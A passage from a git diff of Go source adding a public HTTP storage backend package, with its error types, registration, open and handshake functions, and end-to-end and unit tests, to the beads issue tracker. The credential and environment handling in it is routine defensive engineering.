fail("IssueReader") + cfg.Claimer, err = s.IssueClaimer() + fail("IssueClaimer") + cfg.ReadyClaimer, err = s.ReadyClaimer() + fail("ReadyClaimer") + cfg.Releaser, err = s.Releaser() + fail("Releaser") + cfg.Lifecycle, err = s.IssueLifecycle() + fail("IssueLifecycle") + cfg.Settings, err = s.WorkspaceConfig() + fail("WorkspaceConfig") + cfg.Stats, err = s.StatsReporter() + fail("StatsReporter") + cfg.CycleDetector, err = s.CycleDetector() + fail("CycleDetector") + cfg.EdgeReader, err = s.EdgeReader() + fail("EdgeReader") + cfg.GraphCounter, err = s.GraphCounter() + fail("GraphCounter") + cfg.BatchGetter, err = s.BatchGetter() + fail("BatchGetter") + cfg.LeaseReclaimer, err = s.LeaseReclaimer() + fail("LeaseReclaimer") + cfg.Relations, err = s.IssueRelations() + fail("IssueRelations") + cfg.Commenter, err = s.Commenter() + fail("Commenter") + cfg.BlockingAnnotator, err = s.BlockingAnnotator() + fail("BlockingAnnotator") + cfg.TreeWalker, err = s.TreeWalker() + fail("TreeWalker") + cfg.ReadyCounter, err = s.ReadyCounter() + fail("ReadyCounter") + cfg.Counter, err = s.Counter() + fail("Counter") + cfg.Querier, err = s.Querier() + fail("Querier") + cfg.Sweeper, err = s.Sweeper() + fail("Sweeper") + cfg.Deleter, err = s.Deleter() + fail("Deleter") + cfg.BatchCreator, err = s.BatchCreator() + fail("BatchCreator") + cfg.BatchCloser, err = s.BatchCloser() + fail("BatchCloser") + cfg.DependencyEditor, err = s.DependencyEditor() + fail("DependencyEditor") + cfg.MetadataCAS, err = s.MetadataCAS() + fail("MetadataCAS") + cfg.BatchApplier, err = s.BatchApplier() + fail("BatchApplier") + cfg.Memories, err = s.Memories() + fail("Memories") + return cfg +} + +// skipUnlessEmbeddedDolt mirrors internal/httpclient's gate: this tier needs +// the cgo-linked embedded engine, and BEADS_HTTP_TEST_REQUIRED=1 is how the +// served-surface lane says that tier is mandatory rather than best-effort. +func skipUnlessEmbeddedDolt(t *testing.T) { + t.Helper() + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") == "1" { + return + } + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but BEADS_TEST_EMBEDDED_DOLT is not 1; the http e2e tier is not enforced") + } + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run the http backend e2e tier") +} + +type bdResult struct { + stdout, stderr string + code int +} + +// runBD shells the built bd binary out in dir, the same subprocess pattern +// test/conformance's e2e runner uses, kept local here so this tier has no +// dependency on that package's unexported helpers. +func runBD(t *testing.T, bin, dir string, env []string, args ...string) bdResult { + t.Helper() + cmd := exec.Command(bin, args...) + cmd.Dir = dir + cmd.Env = minimalBDEnv(dir, env...) + var o, e strings.Builder + cmd.Stdout, cmd.Stderr = &o, &e + err := cmd.Run() + code := 0 + if err != nil { + if ee, ok := err.(*exec.ExitError); ok { + code = ee.ExitCode() + } else { + t.Fatalf("running bd %s: %v", strings.Join(args, " "), err) + } + } + return bdResult{stdout: o.String(), stderr: e.String(), code: code} +} + +// minimalBDEnv builds a hermetic environment for a bd subprocess, the same +// sanitizing shape cmd/bd's own proxied-integration harness uses +// (bdProxiedEnv): PATH plus the few variables a Go binary needs to start, +// HOME repointed at dir rather than the real one, and nothing BEADS_* +// carried over from whatever invoked `go test`. A stray BEADS_DIR or +// BEADS_HTTP_TOKEN* exported in this process's own environment must never +// leak into a workspace this test means to fully control — this harness +// ran the full os.Environ() through unfiltered before, which a credential +// or workspace-override variable set in the ambient shell could silently +// have reached. extra layers on top (a test case's own deliberate override), +// so it is applied last and wins any collision. +func minimalBDEnv(dir string, extra ...string) []string { + env := []string{ + "HOME=" + dir, + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + } + for _, key := range []string{"PATH", "TMPDIR", "SYSTEMROOT", "WINDIR"} { + if v, ok := os.LookupEnv(key); ok { + env = append(env, key+"="+v) + } + } + return append(env, extra...) +} + +// jsonIDSet collects every top-level "id" field out of a bd --json array +// response (bd ready among others), for the containment checks a real +// assertion needs rather than firstJSONField's single-match convenience. +func jsonIDSet(t *testing.T, out string) map[string]bool { + t.Helper() + var rows []map[string]any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &rows); err != nil { + t.Fatalf("parse JSON array output: %v\n%s", err, out) + } + ids := make(map[string]bool, len(rows)) + for _, row := range rows { + if id, ok := row["id"].(string); ok { + ids[id] = true + } + } + return ids +} + +// jsonIntField pulls one numeric top-level field out of a bd --json object +// response (bd count's {"count": N}). +func jsonIntField(t *testing.T, out, field string) int64 { + t.Helper() + var generic map[string]any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &generic); err != nil { + t.Fatalf("parse JSON output for field %q: %v\n%s", field, err, out) + } + v, ok := generic[field].(float64) + if !ok { + t.Fatalf("field %q missing or not numeric in: %s", field, out) + } + return int64(v) +} + +// firstJSONField pulls one string-valued top-level field out of a bd --json +// response, tolerating the schema_version envelope some commands wrap their +// payload in and the bare-object shape others return directly. +func firstJSONField(t *testing.T, out, field string) string { + t.Helper() + var generic any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &generic); err != nil { + t.Fatalf("parse JSON output for field %q: %v\n%s", field, err, out) + } + return findField(generic, field) +} + +func findField(v any, field string) string { + switch m := v.(type) { + case map[string]any: + if s, ok := m[field].(string); ok { + return s + } + for _, nested := range []string{"data", "issue"} { + if inner, ok := m[nested]; ok { + if s := findField(inner, field); s != "" { + return s + } + } + } + case []any: + for _, item := range m { + if s := findField(item, field); s != "" { + return s + } + } + } + return "" +} + +// lastJSONLine parses the final non-blank line of stderr as JSON, matching +// reportIfRevisionFailure's own documented contract ("the JSON body is the +// LAST line on stderr"). +func lastJSONLine(t *testing.T, stderr string) map[string]any { + t.Helper() + lines := strings.Split(strings.TrimRight(stderr, "\n"), "\n") + for i := len(lines) - 1; i >= 0; i-- { + line := strings.TrimSpace(lines[i]) + if line == "" { + continue + } + var body map[string]any + if err := json.Unmarshal([]byte(line), &body); err == nil { + return body + } + t.Fatalf("last stderr line is not JSON: %q\nfull stderr:\n%s", line, stderr) + } + t.Fatalf("stderr had no non-blank line to parse:\n%s", stderr) + return nil +} + +var ( + buildBDOnce sync.Once + bdBinPath string + bdBuildErr error + bdBinOwnBuild bool // true only on the go-build-from-source path; false for Bazel's prebuilt binary. +) + +// buildBD builds the bd binary once per test process, matching the +// gms_pure_go embedded-engine tag used throughout cmd/bd's own CLI tests +// (e.g. cmd/bd/create_deps_atomic_test.go). Under Bazel there is no module +// tree to build from, so the prebuilt test binary is used instead. +// +// The binary is shared, via buildBDOnce, across every test in this package +// that calls buildBD — that sharing is the whole point, one build instead of +// one per test. Cleanup therefore cannot be a per-call t.Cleanup: the first +// caller to win the Once race would be the first test to finish, and its +// Cleanup would delete the binary every LATER test in the same process still +// needs (exactly what happened before this comment existed — the second and +// third test to call buildBD got "no such file or directory" because the +// first test's Cleanup had already removed it). TestMain below owns deleting +// it exactly once, after every test in the package has finished with it. +func buildBD(t *testing.T) string { + t.Helper() + buildBDOnce.Do(func() { + if bazeltest.IsBazel() { + bdBinPath, bdBuildErr = bazeltest.PrebuiltBD() + return + } + dir, err := os.MkdirTemp(os.Getenv("TMPDIR"), "bd-http-e2e") + if err != nil { + bdBuildErr = fmt.Errorf("mkdir temp for bd binary: %w", err) + return + } + bin := filepath.Join(dir, "bd-http-e2e") + cmd := exec.Command("go", "build", "-tags", "gms_pure_go", "-o", bin, "./cmd/bd") + cmd.Dir = e2eRepoRoot() + if out, err := cmd.CombinedOutput(); err != nil { + bdBuildErr = fmt.Errorf("build bd: %w\n%s", err, out) + _ = os.RemoveAll(dir) + return + } + bdBinPath = bin + bdBinOwnBuild = true + }) + if bdBuildErr != nil { + t.Fatal(bdBuildErr) + } + return bdBinPath +} + +// TestMain exists for exactly one reason: to delete the temp directory +// buildBD's go-build-from-source path creates, once, after every test in +// this package has had its turn with the shared binary inside it. See +// buildBD's doc comment for why a per-test t.Cleanup cannot do this job. +func TestMain(m *testing.M) { + code := m.Run() + if bdBinOwnBuild && bdBinPath != "" { + _ = os.RemoveAll(filepath.Dir(bdBinPath)) + } + os.Exit(code) +} + +func e2eRepoRoot() string { + _, file, _, _ := runtime.Caller(0) // /backend/http/e2e_cli_test.go + return filepath.Dir(filepath.Dir(filepath.Dir(file))) +} diff --git a/backend/http/errors.go b/backend/http/errors.go new file mode 100644 index 000000000..610391c94 --- /dev/null +++ b/backend/http/errors.go @@ -0,0 +1,111 @@ +package bdhttp + +import ( + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// The refusal taxonomy, re-exported so an embedder can CLASSIFY what this +// backend answers rather than match its text. +// +// Every name here is an alias of the internal one, so errors.Is and +// errors.As reach the same values across the module boundary. Two audiences +// need that: the host application deciding whether a failure is the user's, +// the server's or the wiring's, and any surface that renders it, since these +// types carry the server URL, its release and its advertised capabilities +// precisely so a renderer parses nothing. + +// ErrNoTransport reports a process that registered this backend without +// installing a transport. It is a build-wiring fault, not a user's: the +// workspace and the server may both be fine. Register cannot produce it — it +// installs the transport itself — so meeting it means something reached the +// registry another way (for example a test double that calls +// backends.Register directly). +var ErrNoTransport = httpclient.ErrNoTransport + +// The store's own refusals. A method this backend does not serve returns +// UnsupportedError, which unwraps to the portable storage.ErrUnsupported, so +// the classification a caller already does for a local backend holds +// unchanged. +type ( + // UnsupportedError is what every refused method of this backend returns: a + // STRUCT, reached with errors.As, carrying the server it refused on, that + // server's release and the capabilities it does advertise. It unwraps to + // the portable storage.ErrUnsupported, so a caller that only wants "this + // backend cannot do that" matches the same sentinel it would for a local + // store and needs none of these fields. + UnsupportedError = httpclient.ErrHTTPUnsupported + // InexpressibleError is a request carrying a field the v0 wire has no + // member for. It is both an unsupported-operation refusal and an encoder + // refusal, because two audiences classify it, and errors.As reaches either + // arm. + InexpressibleError = httpclient.InexpressibleError + // PartialIDSearchError answers a substring or prefix id lookup, which no + // server operation serves. The input may be a partial id OR a full id that + // does not exist, and the client cannot tell which, so the refusal names + // both outcomes. + PartialIDSearchError = httpclient.PartialIDSearchError + // WatchRefusedError refuses a `--watch`-style polling loop, which + // amplifies load on a shared server with no change detection to justify + // it. + WatchRefusedError = httpclient.WatchRefusedError + // RedactedSettingError reports a setting whose value the server withheld + // because its key marks it credential-bearing. It is not an unset key: one + // says the workspace stores nothing, the other says the workspace stores + // something this client may not see. + RedactedSettingError = httpclient.RedactedSettingError +) + +// The class sentinels behind those types, for a caller that classifies +// without reaching for fields. +var ( + ErrPartialIDSearch = httpclient.ErrPartialIDSearch + ErrWatchUnsupported = httpclient.ErrWatchUnsupported + ErrSettingRedacted = httpclient.ErrSettingRedacted +) + +// The wire's own refusals, which reach a caller through Open, Handshake and +// every dispatch a store makes. +type ( + // ProjectMismatchError is the wrong-server diagnostic: the server + // answered, and it owns a different workspace. It names both project ids + // AND the server's own database and repo root, because "the ids differ" + // does not say WHICH wrong server answered — and on a shared host that is + // the question. + ProjectMismatchError = wire.ProjectMismatchError + // APIVersionError reports a server on a path major this client cannot + // address. It names both versions, because neither alone says which side + // to move. + APIVersionError = wire.APIVersionError + // CapabilityError reports an operation the server does not advertise. It + // is how version skew is told apart from a missing entity: an unrouted + // path on an older server answers a bare 404, indistinguishable from + // not_found, so the advertised list is consulted before the dial. + CapabilityError = wire.CapabilityError + // ProblemError is a refusal the server described: its status, its + // problem code, and the typed discriminators it carries. Unwrap reaches + // the sentinel below that the code maps to. + ProblemError = wire.ProblemError +) + +var ( + ErrProjectMismatch = wire.ErrProjectMismatch + ErrAPIVersion = wire.ErrAPIVersion + ErrCapabilityAbsent = wire.ErrCapabilityAbsent + + // ErrUnauthenticated is the credential the server refused. The error + // names which ladder rung held it — a provenance label, never the + // credential — so an operator knows what to rotate. + ErrUnauthenticated = wire.ErrUnauthenticated + ErrBadRequest = wire.ErrBadRequest + ErrInvalidCursor = wire.ErrInvalidCursor + ErrBusy = wire.ErrBusy + ErrDBUnavailable = wire.ErrDBUnavailable + ErrServerFault = wire.ErrServerFault +) + +// ProjectMismatchRecovery is the one action that resolves a wrong-server +// mismatch: point the workspace back at the server that owns it (re-run +// `bd connect`). There is no local database to reconcile, so the repair +// tooling a local backend would name does not apply. +const ProjectMismatchRecovery = wire.ProjectMismatchRecovery diff --git a/backend/http/http.go b/backend/http/http.go new file mode 100644 index 000000000..cddbbab2d --- /dev/null +++ b/backend/http/http.go @@ -0,0 +1,216 @@ +// Package bdhttp is the public door to the http client store that ships +// inside this module (internal/httpclient) — the storage backend that speaks +// the v0 `bd serve` wire to a remote server — for embedders that link beads +// as a library rather than running cmd/bd. +// +// Such an embedder cannot reach the store any other way, for the reason its +// (hypothetical) postgres sibling would document: the registry facade's +// Register takes a backends.Backend value whose constructors live in an +// internal package, and the only other production wiring is cmd/bd's. Without +// this package a workspace whose .beads/metadata.json names "http" is a +// workspace an embedder can only tombstone. +// +// # Registration is two-step, and that is why Register takes Options +// +// Putting "http" in the registry is not enough to open anything: the store +// dials through a process-wide transport constructor that registration does +// not install on its own, so a binary that registered and stopped there would +// fail every open with httpclient.ErrNoTransport — a build-wiring fault, not a +// workspace or server problem. Register does both: it adds "http" to the +// registry AND installs the default dialer, and it installs a per-open +// OpenWith hook so a multi-tenant embedder (for example gc, Gas City — one +// process serving many workspaces, called "cities") can route a distinct +// credential through backends.OpenOptions / beads.OpenBestAvailableWith for +// each workspace it opens, without the process-wide dialer being asked to +// serve two tenants with one fixed credential. +// +// # Stability +// +// EXPERIMENTAL, on the same terms as the backend package this sits beside. +// Pin an exact beads version. +package bdhttp + +import ( + "context" + "net/http" + + "github.com/steveyegge/beads/backend" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// UserAgentSuffix identifies this backend inside a stamped User-Agent, so a +// server log line says both which binary and which client spoke to it. An +// embedder that stamps its own build joins the two the way cmd/bd does: +// "myapp/1.4.2 " + bdhttp.UserAgentSuffix. +const UserAgentSuffix = httpclient.WireUserAgentSuffix + +// Options configures the transport Register installs and Open/Handshake dial +// with. +// +// The zero value is usable and is what the CLI's own wiring amounts to: the +// built-in bearer credential ladder, this module's default User-Agent, and +// the standard http transport. +type Options struct { + // UserAgent identifies the embedding build on every request. Empty sends + // UserAgentSuffix alone, which names the backend but not the binary. + UserAgent string + // HTTPClient replaces the transport — a tuned timeout, a proxy, a custom + // TLS config, an httptest server in a test. Nil builds one. The client is + // used as given except for redirect handling, which the underlying wire + // client always forces off: a followed 30x would replay the Authorization + // header at whatever host the Location named. + HTTPClient *http.Client + // RequireCredential makes the registered backend's OpenWith seam refuse a + // registered open with no OpenOptions.Credential, rather than silently + // falling back to the ambient bearer ladder (BEADS_HTTP_TOKEN, + // BEADS_HTTP_TOKEN_COMMAND, the credentials file). It has no effect on + // Open/Handshake below, or on the plain Open/OpenReadOnly path a + // single-tenant CLI process uses: both keep the ambient ladder as their + // documented, legitimate posture. + // + // Set this when every caller through beads.OpenBestAvailableWith is a + // multi-tenant embedder for which ambient, process-global credential + // state can never safely stand in for one workspace's own — see + // httpclient.ResolveCredential and backends.OpenOptions.Credential's own + // doc comment. + RequireCredential bool +} + +// Register adds the http store to the backend registry under the name "http" +// AND installs the transport it dials with, so a workspace whose +// metadata.json selects the backend opens instead of failing with +// httpclient.ErrNoTransport. +// +// The EMBEDDER calls this explicitly at process start, on the same terms as +// cmd/bd's own wiring: registration is a property of the distribution being +// built, not of the import graph. A plain `go build` of an OSS binary that +// imports this package only transitively, and never calls Register, gains no +// selectable "http" backend — metadata.json naming it still hard-fails with +// the registry's UnknownBackendError, exactly as before this package existed. +// +// Register panics on a duplicate registration, like any process-start wiring +// error, so it must have exactly one production call site. Call it once, +// before any concurrent store access. +func Register(opts Options) { + base := httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient} + backends.Register(httpclient.Backend, backends.Backend{ + Open: httpclient.NewFromConfig, + OpenReadOnly: httpclient.NewReadOnlyFromConfig, + WorkspaceIsBeadsDir: true, + Remote: true, + OpenWith: func(ctx context.Context, beadsDir string, bopts backends.OpenOptions) (backend.DoltStorage, error) { + return httpclient.OpenWith(ctx, beadsDir, bopts, base, opts.RequireCredential) + }, + }) + httpclient.RegisterDefaultDialer(base) +} + +// Open dials target and returns a store for it, with no workspace on disk. +// +// It is the door for an embedder that already knows its server — from its own +// configuration, or minted per tenant — and would otherwise have to write a +// .beads directory for the sole benefit of a registry lookup. Registration is +// not required and does not affect it: Open dials fresh from the Options it is +// handed, using the same built-in bearer ladder Open/OpenReadOnly use (see +// Options.RequireCredential's doc for why a per-tenant credential belongs on +// the registry's OpenWith seam instead, via beads.OpenBestAvailableWith). +// +// The store carries no local metadata file, which is benign: the two +// per-user keys it would hold read as unset and write nowhere. +func Open(ctx context.Context, target Target, opts Options) (backend.DoltStorage, error) { + dialOpts := httpclient.DialOptionsForTarget(target, httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient}) + creds := httpclient.NewBearerProvider(target.BaseURL) + conn, err := httpclient.DialWith(target, creds, dialOpts) + if err != nil { + return nil, err + } + return httpclient.New(target, conn, nil), nil +} + +// Handshake dials target once and returns its startup snapshot, applying the +// two gates a store applies: api_version equality and, when the target pins +// one, project identity. +// +// It is the pre-connect probe: `bd connect` verifies a server before it +// writes anything, and it has to do that without opening a store, because the +// workspace it is about to describe may not select this backend yet. A +// mismatch comes back as *ProjectMismatchError, which names both ids plus the +// server's own database and repo root. +// +// It dials with the same credentials Open would, so a probe can never verify +// a server the store then cannot reach. +func Handshake(ctx context.Context, target Target, opts Options) (*ServerSnapshot, error) { + dialOpts := httpclient.DialOptionsForTarget(target, httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient}) + // httpclient.Handshake dials via httpclient.Dial, which binds the same + // built-in bearer ladder (httpclient.NewBearerProvider) Open uses above — + // "the same credentials Open would use" holds without restating the dial + // here. + body, err := httpclient.Handshake(ctx, target, dialOpts) + if err != nil { + return nil, err + } + return newServerSnapshot(body), nil +} + +// ServerSnapshot is what a server says about itself at handshake, curated for +// this door. +// +// It is a struct of its own rather than an alias of the wire document, and +// the omissions are the point. The wire type is GENERATED from the OpenAPI +// spec, so aliasing it would make a codegen bump — a field renamed, a member +// added — a breaking change to a published Go API, decided by a document +// nobody edits with that in mind. And the document carries facts an embedder +// has no business depending on: the server's own filesystem paths, its +// storage mode, its logical database name, the CLI's JSON schema version. +// Those are the operator's, and several are host paths a multi-tenant caller +// should not be holding at all. +// +// What remains is what a client actually decides with: Capabilities is the +// field it decides with (an operation is available because the server +// advertises its token, never because a version string looked new enough), +// and WireRevision is the revision the handshake already checked against +// this client's own compiled one before returning a snapshot at all. +type ServerSnapshot struct { + // APIVersion is the path major the server serves. The handshake already + // refused anything this client cannot address, so on a returned snapshot + // this is confirmation rather than a branch. + APIVersion string + // BdVersion is the release of the serving binary. Diagnostic and + // human-facing: branch on Capabilities, not on this. + BdVersion string + // WireRevision is the server's own wire_revision counter (see + // ContextResponse.WireRevision). The wire handshake itself refuses a + // server this client build predates (a wire_revision or + // min_client_wire_revision above wire.ClientWireRevision) before any + // snapshot is returned, so on a returned snapshot this is exposed for + // diagnostics, not a branch. + WireRevision int + // ProjectID is the workspace identity the server owns. When the Target + // pinned one, the handshake has already proved they match. + ProjectID string + // Capabilities are the operation tokens the server implements. The list + // grows additively and an operation never appears unless it is fully + // implemented, which is what makes membership the right question. + Capabilities []string +} + +// newServerSnapshot maps the wire document onto the curated one. +// +// The capability slice is copied because the document it comes from is a +// pointer INTO the wire client's cached handshake, which every later dispatch +// reads to decide what the server can serve, and whose documented contract is +// that the caller treats it as read-only. +func newServerSnapshot(body *apigen.ContextResponse) *ServerSnapshot { + if body == nil { + return nil + } + return &ServerSnapshot{ + APIVersion: body.ApiVersion, + BdVersion: body.BdVersion, + WireRevision: body.WireRevision, + ProjectID: body.ProjectId, + Capabilities: append([]string(nil), body.Capabilities...), + } +} diff --git a/backend/http/open_test.go b/backend/http/open_test.go new file mode 100644 index 000000000..994124714 --- /dev/null +++ b/backend/http/open_test.go @@ -0,0 +1,235 @@ +package bdhttp_test + +// Adapted from bd-enterprise backend/http/open_test.go under the MIT +// contribution: TestOpenNeedsNoWorkspaceOnDisk, the ServerSnapshot field-set +// drift guard, TestHandshakeReportsAWrongServer, and the activation sidecar +// round trip carry the same reasoning. Dropped or reshaped for OSS: the +// Credentials-hook tests (OSS Open/Handshake dial through the built-in bearer +// ladder only — see Options.RequireCredential's doc — there is no per-call +// hook to assert on here), ServerInfo / lazy ServerContext (the OSS Store +// does not expose that interface), and ServerSnapshot's field set itself, +// which follows DESIGN.txt exactly (WireRevision in place of the ORM-backed +// field bd-enterprise used). No bd-enterprise-specific wording carries over. + +import ( + "context" + "errors" + "net/http" + "net/url" + "path/filepath" + "reflect" + "testing" + + bdhttp "github.com/steveyegge/beads/backend/http" +) + +// TestOpenNeedsNoWorkspaceOnDisk is the programmatic door's reason to exist. +// An embedder that already knows the server — it read the URL from its own +// config, or minted a per-tenant one — has no .beads directory to point the +// registry at, and creating one just to open a store would be a file written +// for the benefit of a lookup. +func TestOpenNeedsNoWorkspaceOnDisk(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=direct-token") + server := newRecordingServer(t) + + store, err := bdhttp.Open(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Open: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + got, err := store.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata: %v", err) + } + if got != projectID { + t.Errorf("project id = %q, want %q", got, projectID) + } + server.wantAuthorization(t, "Bearer direct-token") +} + +// TestOpenWithoutRegistrationStillDials pins the independence of the two +// doors: Open dials from the Options it is handed, with no dependence on +// Register ever having run. +func TestOpenWithoutRegistrationStillDials(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=unregistered") + server := newRecordingServer(t) + + store, err := bdhttp.Open(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Open without Register: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer unregistered") +} + +// TestHandshakeVerifiesBeforeAnythingIsWritten is the connect path's probe. A +// caller about to record a server has to be able to check it first, and doing +// that by opening a store would mean describing a workspace before knowing +// whether the server behind it is the right one. +func TestHandshakeVerifiesBeforeAnythingIsWritten(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + + snapshot, err := bdhttp.Handshake(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if snapshot.ProjectID != projectID { + t.Errorf("project id = %q, want %q", snapshot.ProjectID, projectID) + } + if snapshot.BdVersion != "9.9.9" { + t.Errorf("bd_version = %q, want the server's own", snapshot.BdVersion) + } + if snapshot.APIVersion != "v0" { + t.Errorf("api_version = %q, want the major this client speaks", snapshot.APIVersion) + } + if snapshot.WireRevision != 1 { + t.Errorf("wire_revision = %d, want the server's own", snapshot.WireRevision) + } + if len(snapshot.Capabilities) != 2 || snapshot.Capabilities[0] != "issues.get" { + t.Errorf("capabilities = %v, want the server's advertised list", snapshot.Capabilities) + } +} + +// TestServerSnapshotExportsNoHostFacts is the drift guard on the curated +// snapshot, and it is a guard rather than a comment because the thing it +// prevents arrives by accident. +// +// The wire document is GENERATED from the OpenAPI spec. Aliasing it, or +// widening this struct to match it, would put a codegen bump — a renamed +// field, a new member — on a published Go API, and would hand every embedder +// the server's own filesystem paths. A multi-tenant caller holding another +// tenant's repo root is not a field it chose to read; it is a field it could +// not avoid. +func TestServerSnapshotExportsNoHostFacts(t *testing.T) { + want := map[string]bool{ + "APIVersion": true, + "BdVersion": true, + "WireRevision": true, + "ProjectID": true, + "Capabilities": true, + } + typ := reflect.TypeOf(bdhttp.ServerSnapshot{}) + if typ.PkgPath() != "github.com/steveyegge/beads/backend/http" { + t.Fatalf("ServerSnapshot is declared in %q: it must be this package's own struct, not an alias of the generated wire type", typ.PkgPath()) + } + for i := 0; i < typ.NumField(); i++ { + name := typ.Field(i).Name + if !want[name] { + t.Errorf("ServerSnapshot exports %q, which is not on the curated set: server host paths, storage mode, logical database and the CLI schema version stay behind this door", name) + continue + } + delete(want, name) + } + for name := range want { + t.Errorf("ServerSnapshot no longer carries %q", name) + } +} + +// TestHandshakeReportsAWrongServer pins the gate that makes the probe worth +// running: the pinned identity is checked, and the refusal is typed, so a +// caller can tell "that is the wrong server" from "that server is down" +// without matching text. +func TestHandshakeReportsAWrongServer(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + target := server.target(t) + target.ExpectProjectID = "proj-somewhere-else" + + _, err := bdhttp.Handshake(context.Background(), target, bdhttp.Options{HTTPClient: server.Client()}) + if !errors.Is(err, bdhttp.ErrProjectMismatch) { + t.Fatalf("Handshake against a wrong server = %v, want ErrProjectMismatch", err) + } + var mismatch *bdhttp.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("the refusal is not a *ProjectMismatchError: %v", err) + } +} + +// TestHandshakeUsesTheSameLadderOpenWouldUse keeps the two doors on one +// credential path: a probe that authorized differently from the store it +// precedes would verify a server the store then cannot reach. +func TestHandshakeUsesTheSameLadderOpenWouldUse(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=probe-token") + server := newRecordingServer(t) + + if _, err := bdhttp.Handshake(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}); err != nil { + t.Fatalf("Handshake: %v", err) + } + server.wantAuthorization(t, "Bearer probe-token") +} + +// TestTheActivationSidecarRoundTrips covers the workspace half of the +// surface: an embedder that writes a connected workspace for a later `bd` +// invocation, or reads the one `bd connect` already wrote, goes through +// these. +func TestTheActivationSidecarRoundTrips(t *testing.T) { + beadsDir := t.TempDir() + + if _, err := bdhttp.LoadTarget(beadsDir); !errors.Is(err, bdhttp.ErrNotConnected) { + t.Fatalf("LoadTarget on an unconnected workspace = %v, want ErrNotConnected", err) + } + if removed, err := bdhttp.RemoveTarget(beadsDir); err != nil || removed { + t.Fatalf("RemoveTarget on an unconnected workspace = (%v, %v), want (false, nil)", removed, err) + } + + base, err := url.Parse("https://beads.example.com") + if err != nil { + t.Fatal(err) + } + want := bdhttp.Target{BaseURL: base, ExpectProjectID: projectID} + if err := bdhttp.SaveTarget(beadsDir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + if got := bdhttp.TargetPath(beadsDir); got != filepath.Join(beadsDir, bdhttp.TargetFileName) { + t.Errorf("TargetPath = %q, want the sidecar beside metadata.json", got) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.String() != want.String() || got.ExpectProjectID != want.ExpectProjectID { + t.Errorf("round trip = %+v, want %+v", got, want) + } + + removed, err := bdhttp.RemoveTarget(beadsDir) + if err != nil { + t.Fatalf("RemoveTarget: %v", err) + } + if !removed { + t.Error("RemoveTarget did not report the sidecar it deleted") + } + if _, err := bdhttp.LoadTarget(beadsDir); !errors.Is(err, bdhttp.ErrNotConnected) { + t.Errorf("LoadTarget after RemoveTarget = %v, want ErrNotConnected", err) + } +} + +// TestABearerProviderIsBuildableFromThePublicSurface proves the default +// ladder is nameable, which is what lets a caller wrap or inspect it without +// reimplementing it. +func TestABearerProviderIsBuildableFromThePublicSurface(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=ladder-token") + server := newRecordingServer(t) + + var provider bdhttp.CredentialProvider = bdhttp.NewBearerProvider(server.target(t).BaseURL) + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, server.URL, nil) + if err != nil { + t.Fatal(err) + } + if err := provider.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v", err) + } + if got := req.Header.Get("Authorization"); got != "Bearer ladder-token" { + t.Errorf("Authorization = %q, want the ladder's token", got) + } +} diff --git a/backend/http/register_test.go b/backend/http/register_test.go new file mode 100644 index 000000000..4ed4b1c3c --- /dev/null +++ b/backend/http/register_test.go @@ -0,0 +1,318 @@ +package bdhttp_test + +// Test helpers in this file are adapted from bd-enterprise +// backend/http/register_test.go under the MIT contribution: the registry +// double, the recording server/provider, and hermeticEnv's reasoning for +// taking the process environment out of credential decisions carry over +// directly. The Credentials-hook tests do not: OSS threads a per-open +// credential through backends.OpenOptions.Credential / httpclient.OpenWith +// instead of a bdhttp.Options.Credentials hook (no such hook exists on this +// path; see design D-OpenWith), so those tests are written fresh for this +// seam. + +import ( + "context" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/backend" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// The registry key is spelled literally, the way a workspace's metadata.json +// carries it: a test that read it from the code under test would stay green +// through a rename that orphans every existing connected workspace. +const backendName = "http" + +// projectID is the workspace identity the stand-in server owns. Every target +// below pins it, so the handshake's identity gate is armed rather than +// skipped. +const projectID = "proj-embedder" + +// TestRegisterPutsHTTPInTheRegistryAnEmbedderSees drives the reason this +// package exists: code holding nothing but the public surface can get "http" +// into the registry that store dispatch reads. +func 